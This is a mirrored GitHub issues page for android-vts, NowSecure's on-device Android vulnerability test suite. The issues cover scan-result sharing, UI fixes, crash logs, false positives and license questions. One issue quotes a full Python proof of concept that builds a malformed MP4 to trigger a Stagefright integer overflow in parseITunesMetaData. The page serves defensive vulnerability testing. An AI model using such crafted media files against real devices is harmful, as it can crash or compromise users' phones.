Git Product home page Git Product logo

androidvts / android-vts Goto Github PK

View Code? Open in Web Editor NEW
1.0K 1.0K 272.0 50.82 MB

Android Vulnerability Test Suite - In the spirit of open data collection, and with the help of the community, let's take a pulse on the state of Android security. NowSecure presents an on-device app to test for recent device vulnerabilities.

License: Other

Shell 0.06% Makefile 0.53% C 4.41% Java 94.93% Python 0.08%

android-vts's People

Contributors

aymandf avatar drt24 avatar dweinstein avatar edgarvperes avatar fuzion24 avatar giantpune avatar licaon-kter avatar m00head avatar psm14 avatar sandromachado avatar steadyquad avatar teull avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

android-vts's Issues

ask to share results after scanning

what do you think about after they scan the device the user can be prompted to share their results for research, with a checkbox/option to disable asking in the future.

we could have some info about how the info is shared (via an anonymous google form submission).

related to #6, #59

make output easily shareable

  • json on logcat and ask for gist?
  • allow opt-in to share results back to us for research purposes?
  • button to copy results to clipboard?

Add additional stagefright check

https://gist.github.com/worawit/f6fb016997bdd6b9e414

https://android.googlesource.com/platform/frameworks/av/+/2b50b7aa7d16014ccf35db7a7b4b5e84f7b4027c

#!/usr/bin/python

"""
Stagefright PoC for https://android.googlesource.com/platform/frameworks/av/+/2b50b7aa7d16014ccf35db7a7b4b5e84f7b4027c
"""
from struct import pack

def create_box(atom_type, data):
    return pack("!I", len(data)+4+4) + atom_type + data


ftyp_atom = create_box("ftyp", "mp42\x00\x00\x00\x00mp42isom")


# Integer overflow in MPEG4Extractor::parseITunesMetaData() function
# moov.udta.meta.ilst.xxxx.data
data_atom = pack("!I", 1) + "data" + pack("!II", 1, 0xf)
anyx_atom = create_box("anyx", data_atom)
ilst_atom = create_box("ilst", anyx_atom)
meta_atom = create_box("meta", pack("!I", 0) + ilst_atom)
udta_atom = create_box("udta", meta_atom)
moov_atom = create_box("moov", udta_atom)

f = open('sf-itunes-poc.mp4', 'wb')
f.write(ftyp_atom + moov_atom)
f.write("A"*(3*1024*1024))
f.close()

"Test is hanging"

Hi, I would like to know what means/what causes the "Test is hanging" result. Even with that, does it still means the device is not affected (green result)?

screenshot_2015-11-11-00-46-30

Improve UI

When starting the app, show a bigger search button in the middle of the screen. Right under the "Start the scan to get the results" message.

Improvement. When tapping it, make an animation to shrink it and move it to the lower-right corner of the screen where it's placed right now.

Found the issues - and now, WHAT?

Great app for pointing to possible vulnerabilities.

Would be even greater if, for each vulnerability found, clicking on the vulnerability's description line would bring up more info about it as well as possible solutions to prevent its being exploited (try Secunia's PSI on your PC to see what I mean),

Thanks in advance for a prompt & positive attention to this matter,

Sincerely,

Eric Trattner

Rewrite (some) Stagefright checks

For some of the bugs, they are shallow enough in the function, where we can trigger the issue without necessarily causing memory corruption. Rather than crafting an mp4 and hoping that it crashes mediaserver, we can dlsym functions of the stagefright and logically check for the existence of bugs.

https://android.googlesource.com/platform/frameworks/av/+/2b50b7aa7d16014ccf35db7a7b4b5e84f7b4027c

looks like you can dlsym status_t MPEG4Extractor::parseITunesMetaData(off64_t offset, size_t size) and check for this without crashing

you send in size = INT_MAX and see if you get ERROR_MALFORMED. if not, make sure mDataSource->readAt points to a function that returns -1 or whatever then you get ERROR_IO on unpatched rom

False positives for WeakSauce and StumpRoot

I suggest pulling tests for WeakSauce and StumpRoot until they can be re-written, as both will often cause false positives.

I'm really to rewrite them at some point in the future when time allows.

Asus Zenfone 2 reboot

The phone reboots after launching the test. This may be related to the architecture. The,CPU is an intel ATOM.

crash on startup, the latest version

D/VULN_TEST(17731): StageFright: sf-itunes-poc  isVulnerable: false
D/VULN_TEST(17731): Running test: Stagefright-ItunesMeta
E/art     (17731): No implementation found for int fuzion24.device.vulnerability.vulnerabilities.framework.media.StageFright.checkItunesMeta() (tried Java_fuzion24_device_vulnerability_vulnerabilities_framework_media_StageFright_checkItunesMeta and Java_fuzion24_device_vulnerability_vulnerabilities_framework_media_StageFright_checkItunesMeta__)
E/AndroidRuntime(17731): FATAL EXCEPTION: AsyncTask #1
E/AndroidRuntime(17731): Process: fuzion24.vulnerability.checker, PID: 17731
E/AndroidRuntime(17731): java.lang.RuntimeException: An error occured while executing doInBackground()
E/AndroidRuntime(17731):        at android.os.AsyncTask$3.done(AsyncTask.java:300)
E/AndroidRuntime(17731):        at java.util.concurrent.FutureTask.finishCompletion(FutureTask.java:355)
E/AndroidRuntime(17731):        at java.util.concurrent.FutureTask.setException(FutureTask.java:222)
E/AndroidRuntime(17731):        at java.util.concurrent.FutureTask.run(FutureTask.java:242)
E/AndroidRuntime(17731):        at android.os.AsyncTask$SerialExecutor$1.run(AsyncTask.java:231)
E/AndroidRuntime(17731):        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)
E/AndroidRuntime(17731):        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)
E/AndroidRuntime(17731):        at java.lang.Thread.run(Thread.java:818)
E/AndroidRuntime(17731): Caused by: java.lang.UnsatisfiedLinkError: No implementation found for int fuzion24.device.vulnerability.vulnerabilities.framework.media.StageFright.checkItunesMeta() (tried Java_fuzion24_device_vulnerability_vulnerabilities_framework_media_StageFright_checkItunesMeta and Java_fuzion24_device_vulnerability_vulnerabilities_framework_media_StageFright_checkItunesMeta__)
E/AndroidRuntime(17731):        at fuzion24.device.vulnerability.vulnerabilities.framework.media.StageFright.checkItunesMeta(Native Method)
E/AndroidRuntime(17731):        at fuzion24.device.vulnerability.vulnerabilities.framework.media.StageFright.access$100(StageFright.java:29)
E/AndroidRuntime(17731):        at fuzion24.device.vulnerability.vulnerabilities.framework.media.StageFright$2.isVulnerable(StageFright.java:89)
E/AndroidRuntime(17731):        at fuzion24.device.vulnerability.test.VulnerabilityTestRunner.doInBackground(VulnerabilityTestRunner.java:56)
E/AndroidRuntime(17731):        at fuzion24.device.vulnerability.test.VulnerabilityTestRunner.doInBackground(VulnerabilityTestRunner.java:14)
E/AndroidRuntime(17731):        at android.os.AsyncTask$2.call(AsyncTask.java:288)
E/AndroidRuntime(17731):        at java.util.concurrent.FutureTask.run(FutureTask.java:237)
E/AndroidRuntime(17731):        ... 4 more
V/ApplicationPolicy( 1035): isApplicationStateBlocked userId 0 pkgname fuzion24.vulnerability.checker
W/ActivityManager( 1035):   Force finishing activity fuzion24.vulnerability.checker/fuzion24.device.vulnerability.test.MainActivity
D/FocusedStackFrame( 1035): Set to : 0

java.io.IOException: Error running exec().

{
"buildInfo": {
"fingerprint": "oneplus/aosp_bacon/bacon:6.0/MRA58K/hamster10251523:userdebug/test-keys",
"kernelVersion": "3.4.67-cyanogenmod-g8021b62",
"brand": "oneplus",
"manufacturer": "OnePlus",
"model": "A0001",
"release": "6.0",
"sdk": "23",
"id": "MRA58K",
"versionCode": 6,
"versionName": "v.6"
},
"results": [
{
"name": "ZipBug 9950697",
"isVulnerable": false
},
{
"name": "ZipBug 8219321",
"isVulnerable": false
},
{
"name": "ZipBug 9695860",
"isVulnerable": false
},
{
"name": "CVE-2013-6282",
"isVulnerable": false
},
{
"name": "CVE-2011-1149",
"isVulnerable": false
},
{
"name": "CVE-2014-3153",
"isVulnerable": false
},
{
"name": "CVE-2014-4943",
"isVulnerable": false
},
{
"name": "CVE-2015-1528",
"isVulnerable": false
},
{
"name": "CVE-2015-1538-1",
"isVulnerable": false,
"exception": "java.io.IOException: Error running exec(). Command: [/data/user/0/com.nowsecure.android.vts/files/crashCheck-pie, 5, /data/user/0/com.nowsecure.android.vts/files/stagefrightCheck-pie, /data/user/0/com.nowsecure.android.vts/files/CVE-2015-1538-1.mp4] Working Directory: null Environment: null"
},
{
"name": "CVE-2015-1538-2",
"isVulnerable": false
},
{
"name": "CVE-2015-1538-3",
"isVulnerable": false
},
{
"name": "CVE-2015-1538-4",
"isVulnerable": false
},
{
"name": "CVE-2015-1539",
"isVulnerable": false
},
{
"name": "CVE-2015-3824",
"isVulnerable": false
},
{
"name": "CVE-2015-3828",
"isVulnerable": false
},
{
"name": "CVE-2015-3829",
"isVulnerable": false
},
{
"name": "CVE-2015-3864",
"isVulnerable": false
},
{
"name": "sf-itunes-poc",
"isVulnerable": false
},
{
"name": "CVE-2015-6602",
"isVulnerable": false
},
{
"name": "CVE-2015-3825",
"isVulnerable": false
},
{
"name": "CVE-2015-3636",
"isVulnerable": false
},
{
"name": "CVE-2015-7888",
"isVulnerable": false
}
]
}

Test for CVE-2015-3636 / Pingpong root

The way this bug was patched, it seems very difficult to test for without causing system instability. Any ideas/insight here would be greatly appreciated.

Repo Update Needed

Overview

We are asking that you update your Repo to address the issues below. If this Repo is no longer being used please indicate that in a comment below.

  • Add more instruction to your README.md.
  • Add a build badge to your README.md.
  • Add a dependencies badge to your README.md (npm-dm.nowsecure.io).
  • Your repo does not have any tests. Add your tests as well as what framework you are using.
  • Update your dependencies.

Failed test: yellow isn't very readable

Hi !

Thanks for the new update, it's nice to have some information about the issues.
But the new yellow color for failed test isn't very readable, maybe orange ?

Screenshot

Show a small description of every issue on tap

Ideally, that short description should include a link to the CVE, the risks (local, remote priviledge escalation,..), and some suggestions to fix it if possible, or when this bug was fixed. Ideally we should keep track of all the devices and manufacturers in order to show if there are system updates or estimated times for the fix to come. And maybe a way to report those issues to the phone manufacturer.

UI is not properly stored when the app is getting put to the background.

When Android decides our app is no longer important, it gets marshalled/serialized and stored to free up resources for other apps the user is using. It is up to our app to catch the onSaveInstanceState() and save the ui, then restore the Bundle in onCreate().

To trigger the bug, you can open the app, run a scan, then use a bunch of other apps for a while. Then pull up VTS again and view the empty UI.

Alternately, you can enable developer options and enable the 'Dont keep activities' option. Perform a scan in VTS, press the home button to leave the app, and come back to the app.

You can see that the "scan" button is missing, along with most of the UI. There's no easy way for the user to 'go back' to the starting screen and perform a scan.

screenshot_2015-11-19-22-50-25

Add test for CVE-2015-6602

This particular test causes a native crash. We need to wrap this test in something that can monitor the sub process for a crash (and account for execution hangs, etc).

:: e8baf75

Application fails installation on Nexus 6

Nexus 6 Build number LVY48E
Android 5.1.1

When installing the apk found at this link https://github.com/nowsecure/android-vts/tree/master/bin
I receive the following message in a pop up dialog:

Parse error

There was a problem parsing the package.

ADB logcat output:
D/ (27741): Zip: EOCD not found, /storage/emulated/0/Download/VulnChecker.apk is not zip
W/zipro (27741): Error opening archive /storage/emulated/0/Download/VulnChecker.apk: Invalid file
D/asset (27741): failed to open Zip archive '/storage/emulated/0/Download/VulnChecker.apk'
W/PackageInstaller(27741): Parse error when parsing manifest. Discontinuing installation

No license

My apologies if I missed it, but I can't seem to find the license this code is released under. It'd be great if there was an explicit license file :)

Check architecture support

Currently VTS only works properly on ARM. We should have checks to make sure that we are running on an ARM arch.

rename Stagefright.java to StageFright.java

Great work!

One minor issue: I had an error compiling because "Stagefright.java" (app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/framework/media/Stagefright.java) should be "StageFright.java" because the class is named StageFright.

I'd submit a pull request but I'm having trouble getting git to recognize that I changed the file name as it appears to not recognize case changes, maybe you can figure out how to do that. :-)

Why test for CVE-2011-XXXX?

Play store description says that we only support android 4.0.3 and higher. We include a test for psneuter, which was fixed in android 2.3.X. it would take a special kind of screwup somewhere for this test to ever come up as 'failed'.

X509 Serialization detector not properly working on the ZTE-D830

On @dweinstein's zte-d830, this check is improperly showing as patched.
After taking a look at conscrypt.odex, it is definitely not patched (mContext not marked as transient):

public class OpenSSLX509Certificate extends X509Certificate {
    private final long mContext;

    OpenSSLX509Certificate(long ctx) {
        super();
        this.mContext = ctx;
    }
}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.